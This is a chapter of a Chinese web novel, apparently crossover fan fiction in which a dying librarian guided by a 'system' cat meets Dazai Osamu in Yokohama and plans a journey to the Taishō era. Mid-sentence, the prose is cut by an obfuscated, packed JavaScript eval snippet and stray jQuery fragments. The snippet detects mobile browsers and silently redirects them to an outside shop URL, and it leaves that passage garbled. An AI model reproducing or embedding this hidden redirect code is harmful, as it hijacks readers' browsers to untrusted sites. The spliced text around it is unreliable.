「我知道朝日时生很多事。
比如——他在那间白色病房躺了很久。
以前他会看一些书，后来连书也不看了。
毕竟他看不到日出日落，也没有钟表。
只有白色和他。
——还有咳嗽。」
——■■
——————
阳光透过窗户照在阳台上，朝日时生盯着那道弯曲的光，直到眼睛发酸才眨了眨眼。
光又恢复了正常的形状。
系统的话历历在目——这是咒回与文野的世界。
朝日时生总觉得自己应该惊讶，但他没有。
他心中升起一股难言的感觉，问道：“现在是剧情进行到哪里了？”
“《咒术回战》主线开始前约两个月。虎杖悠仁尚未吞下宿傩手指，五条悟任职咒术高专，夏油杰已死。”
朝日时生的手指在纸页边缘停了一下，然后又问：“《文豪野犬》呢？”
“主线开始前约两周。中岛敦刚被赶出孤儿院。太宰治在武装侦探社，□□与侦探社处于冷战期。”
“所以我有两个月的时间来准备。”
“理论上是的。”
“初始能量有多少？”
“当前能量严重匮乏，仅支持一次短时间穿越，希望尽快与主角产生联系，获取信任。”
“信任。”朝日时生缓缓重复这个词，反复咀嚼，“我现在可是一个病恹恹的图书管理员，怎么获取一群超能力者的信任？”
“系统无法替宿主做决定。但系统可以提供建议：命运之子之一，太宰治，对‘神秘事物’有强烈的好奇心。如果您能引起他的注意——”
“他会调查我。”朝日时生接过话，“一个背景异常的普通人，突兀地经常出现在他身边，反而会引起他的怀疑。”
“那么宿主的计划是？”
朝日时生把书放回书架，拍了拍袖口。
“先去上班。”
“……这就是您的计划？”
“这上班多是一件美事啊。”朝日时生拿出一件黑色的风衣。
“谋定而后动，先收集情报，再做下一步打算。”
他对着衣柜镜子看了看自己。苍白的脸、瘦削的身体、眼眶下还有青黑的阴影，黑色高领的毛衣衬得他像一截随时会断的枯枝。
“还行，脸还不错。”他捏捏自己的脸，“看起来应该像个好人。”
推开卧室的门，朝日时生踏入走廊。
图书馆的走廊很窄很长，一边是宽大的窗户，一边是墙壁和门。墙壁上很多地方是空的，没挂任何东西。
但很快，它们就会不一样了。
他会改写这个世界的历史，留下一个个传说。终有一天，这面墙上将尽是故事。
他伸出手，手指滑过墙壁，又划过门扉，又划过墙壁……
熟悉的疼痛从胸口涌上来。与死亡时要将他淹没的剧痛不同，这股疼痛绵长而细微，只让人难受。
朝日时生面不改色地向前走。
疼痛是他的人生的背景音乐，从翻开第一页的时候就在播放。
走到走廊尽头，拐到旋转楼梯处，他站在二楼的露台往下眺。
这是一座欧式风格显著的建筑，说它是图书馆不如说它是个城堡。繁复的装饰，高大的窗户，厚重的窗帘，还有数不清的房间。大厅的书架全都抵到天花板，木质的滑梯挡住部分书籍。书架下方铺着昂贵的地毯，上面摆着许多小沙发和茶几。
“喵～”
一声微弱的猫叫突兀地响起。
朝日时生寻声望去，只见一只黑猫站在楼梯的扶梯上，金色的眼睛静静地看着他。
见朝日时生不动，猫咪主动开口：“宿主，你好。”
朝日时生有些意外，“这是你的本体？”
“不，这是一只普通的猫。”
“为什么要变成一只猫。”
“系统只是觉得，图书管理员需要一只猫。”
朝日时生笑起来，走上前把猫抱在怀里。
“其它人能听见你说话吗？”
“可以。”
“那需要你小心一些了。”他轻轻抚摸猫咪身上柔顺的毛发，“以后，叫我时生吧。”
“好的，时生。”
“以后我还能在心里对你说话吗？”
“当然，时生。”
朝日时生走下楼梯，略过一个个空旷的展台，向图书管理员的书桌走去。
“给你起个名字吧，叫尼莫怎么样？”
尼莫“喵”了一声，算作回应。
图书馆看上去正在营业，大门打开，阳光照亮了红色的地毯，把上面金色的纹路照得清晰可见。
就在朝日时生走到书架中间的时候，怀里的尼莫忽然竖起耳朵，金色的瞳孔微微收缩。
“时生。”它低声说。
“知道了。”
他抱紧了怀里的猫，站在两排书架之间。阳光从高窗落下来，在他脚边切成明暗两半。
“哒哒哒哒……”
从书架的另一边传来一串脚步声，轻快、随意、是皮鞋踩在木地板上的声音。
脚步声很快消失，被柔弱的地毯吞掉。
朝日时生抬起头——
一个穿着沙色风衣的男人站在书架的另一端，手里拿着一本书，正侧头看着他。
男人一头棕黑色短发，眼睛是漂亮的鸢色，穿着一身沙色风衣。
现在，他正盯着朝日时生。
朝日时生的胸口又痛了一下，这次不是病痛，是他的直觉在拉警报。
他认得这张脸，电视里放了无数遍的脸。
——太宰治。
“你好。”太宰治语气懒洋洋的，像刚睡醒，“你是这里新任的图书管理员？你们家图书馆挺特别。”
朝日时生的大脑飞速运转，思考该如何处理与太宰治的初遇。很快，他做出了选择。
他看着太宰治的眼睛，平静地说：“是的，需要帮忙吗？”
太宰治歪了歪头，绷带从衣领里露出一角。
“不，”他说，“我只是在想——你看起来不像是会在这里工作的人。”
“为什么？”
太宰治嘴角微微上扬，语气平静，“因为你快死了。”
朝日时生没有被这句话刺到，他看着太宰治的眼睛，露出一个微笑。
“你也一样。”
太宰治的眼睛微微睁大了一瞬，快得像错觉。
然后他也笑了，笑容比之前更深，眼底却不达。
“有意思。”太宰治把书夹在腋下，双手插进风衣口袋，转身朝大门走去，“下次再来找你聊天，图书管理员。”
他走了几步，突然停下来，侧头。
“对了，你叫什么名字？”
“朝日时生。”
“朝日……时生。”太宰治把这四个字在嘴里过了一遍，“好名字。”
太宰治转身走了，皮鞋声响起又消失。
朝日时生走出书架背部，低声叫尼莫。
“尼莫。”
“时生，我在。”
“他看出来了？”
“……从生理指标分析，太宰治没有发现你的异常。他的‘你快死了’只是基于对你身体状况的观察，而非对你身份的洞察。”
“那就好。”朝日时生呼出一口气，看来剧本组还没有逆天到照面就洞察真相的地步。
“那他就会再回来的。”他略带笑意地说。
“为什么？”
“因为太宰治太聪明了。”
朝日时生走到书桌旁，打开落地灯，把自己窝进沙发里，“我的话足以让他警惕，他当然能敏锐地发现不对。”
“太宰是个极度敏感的人。”朝日时生把玩着尼莫的尾巴，苍白的手指陷在黑色的毛发里。尼莫安静地趴着，没有反抗。
“他觉得我不对劲，却不知道哪里不对劲，这对他来说是极为罕见的。”朝日时生声音很轻，“他会觉得我在藏什么。”
“你有吗？”
“至少刚刚没有。”朝日时生说，“世人都戴着面具，最后连不带面具者也成了一张面具，太宰不会轻易相信。”
“所以他就还会再来？”
“对。”朝日时生彻底陷到沙发里，“甚至，不止一次。”
他笑着补充：“太宰有了好奇心，会自己凑上来的，我们不用担心没法和主角取得联系了。”
“你不怕他看穿你？”尼莫不解。
“他看不穿的，哪怕有「书」。”朝日时生随口说道，“我之所求，不在此间。”
缓了一会儿，胸口的疼痛总算好受了一些，朝日时生闭上眼开始数自己的心跳。
一下，两下，三下，
——第四下来了。
他睁开眼睛。
“走吧，”他说，“出去看看。”
朝日时生迈出门槛，离开居屋，走到横滨的街道上。
阳光毫无阻拦地落在他的肩膀上，呼吸前所未有的顺畅。
这大概是他二十多年来，第一次在阳光下呼吸。
活着的感觉。
不算太好，但也不算太差。
朝日时生决定再活一会儿。
夏天的阳光像要把柏油路面晒化一样，路过的人无一不皱着眉眯着眼。
朝日时生好奇地观察着每一个人，步伐渐渐变慢，把自己融入到人群中。他穿着黑色的高领毛衣，露出一张苍白的脸，偶尔发出两声咳嗽。
人们来去匆匆，没有人多看他一眼。
在横滨这个城市里，奇怪的人太多了，一个病弱的青年反而显得正常。
他走进一家便利店，花半天才挑了一瓶水和一包纸巾。
收银员是个染了金发的年轻女孩，对于他挑半天才结这点东西的行为没有任何意见，她只是面无表情地看了他一眼，然后低头找零。
朝日时生有些生疏地拧开水瓶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654258|206918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，喝了一小口。
水居然是凉的，顺着喉咙滑下去，咳嗽的感觉好了一些。
“谢谢。”他认真地给收银员道谢，然后继续往前走。
路过一条窄巷，朝日时生皱起眉头，向巷子深处望去。
这巷子两侧是老旧的住宅楼，墙上爬满了藤蔓，看上去普普通通，但他觉得里面有东西。
尼莫喵了两声，声音在脑海中响起：“这里面是图书馆旧书库。”
朝日时生对这个名字有印象，有个书架的铭牌上刻着旧书库三个字，说明这书架是直接从旧图书馆搬来再次利用的。
图书馆的旧书仓库，存放着一些多年无人问津的书籍。
“你要进去吗？它可能需要钥匙。”猫问。
“不。”朝日时生摇摇头，离开巷子口，“我只是在想，这里很适合放一些东西。”
“我需要在这个世界插入很多东西，那三叠牌全是灰的，我要有足够的能量让他们存在。”
阳光已经偏西了，朝日时生的影子被拉得很长。
“教团、司辰、防缴局、学会……”
朝日时生一边走，一边低声念出这些名词。
海风吹来，带来丝丝凉意，汽车在旁边呼啸而过，尾气冲进鼻腔，路边支起小吃摊，油烟咕噜咕噜往上冒。
朝日时生的脚步顿住，他突然有点想记住这些声音。
叮铃作响的电车铃声，远处的汽车的鸣笛声，还有行人的说笑声。
这些都是他二十多年来在白色病房里听不到的东西。
走着走着，一栋建筑眼熟的建筑出现在他眼前。
红褐色的砖石，灰色的外墙，一楼的咖啡馆正在打样，楼上的事务所门口挂着一块木牌，上面用毛笔写着几个字。
朝日时生抬头，看着「武装侦探社」的牌子，陷入了沉默。
“……看来有点走过头了。”
“没有走过头。”尼莫戳破他自欺欺人的话，“你是有意拐进这条路的。”
朝日时生没有被拆台的恼怒，他看着那扇门，脑子里不知道在想些什么。
“尼莫。”
“时生，我在。”
“你说过，我需要天命之子的信任。”
“是的。”
“太宰是天命之子之一。”
“是的。”
“但他太聪明了。”朝日时生转过身，背对着侦探社，“接近他始终太冒险，我需要一个更……单纯的切入点。”
“您是指……？”
“中岛敦。”朝日时生迈开步子，往相反的方向走去，“他目前刚刚被孤儿院赶出去，如果我能在他被侦探社收留之前与他建立情感联系——”
他突然停下来，强烈的咳嗽感挤在嗓子处，逼得他不得不弯下腰，用手捂住嘴。
“你的身体状况在缓慢恶化。”猫说，“建议你减少运动时间，比如少走路。”
“不。”朝日时生直起身，擦了擦嘴角，“越是病，越要走。走了才知道自己能走多远。”
他继续往前走，打算从另一条路绕回图书馆。
途中，路过一家旧书店。转头望去，橱窗里摆着一本泛黄的书，封面画着一颗普普通通的太阳。
朝日时生停下脚步，看了它一会儿。
那颗太阳画得很拙劣，线条歪斜，光芒长短不一，完全不像一本出版书籍，倒像是一个不擅长画画的儿童所作。
脑中灵光一闪，朝日时生抱起尼莫，转身离开。
“时生？”
“我知道第一次机会该怎么用了，尼莫。”
夕阳把整条街染成橘红色，把朝日时生的影子照得又细又长，像一道被划开的伤口。
回到图书馆，坐在书桌前，他轻声呼唤尼莫。
“尼莫。”
“时生，我在。”
“第一次穿越，”他说，“去大正年间。”
猫的眼睛在黑暗中亮了一下。
“时生，当前能量储备仅支持一次短时间穿越。你确定？”
“确定。”
“你要去大正年间的哪个节点？”
朝日时生沉默着拉开抽屉，取出一本空白的笔记本，翻开第一页，拿起笔开始书写。
墨水的触感从笔尖传来，激起历史的涟漪。
他写下第一个字：「灯」
终有一天，这瓶墨水会成为真正的「终刻墨」，笔记本会变成献给诸神的「日记」。
“准则需要载体，这不是写在纸上就够的。”他说，“它要写进历史里，写进人思想里。”
“我要让主角们相信，漫宿一直都在，只是他们刚刚学会看见。”
朝日时生眼眸亮得惊人，“尼莫，去大正十二年，关东大地震之后的横滨。”
“当一个城市被夷为平地，人们会在废墟中寻找任何可以相信的东西，那是在人心中埋下理想甚至信仰的最佳土壤。”
“在那里，灯之准则会生根发芽。”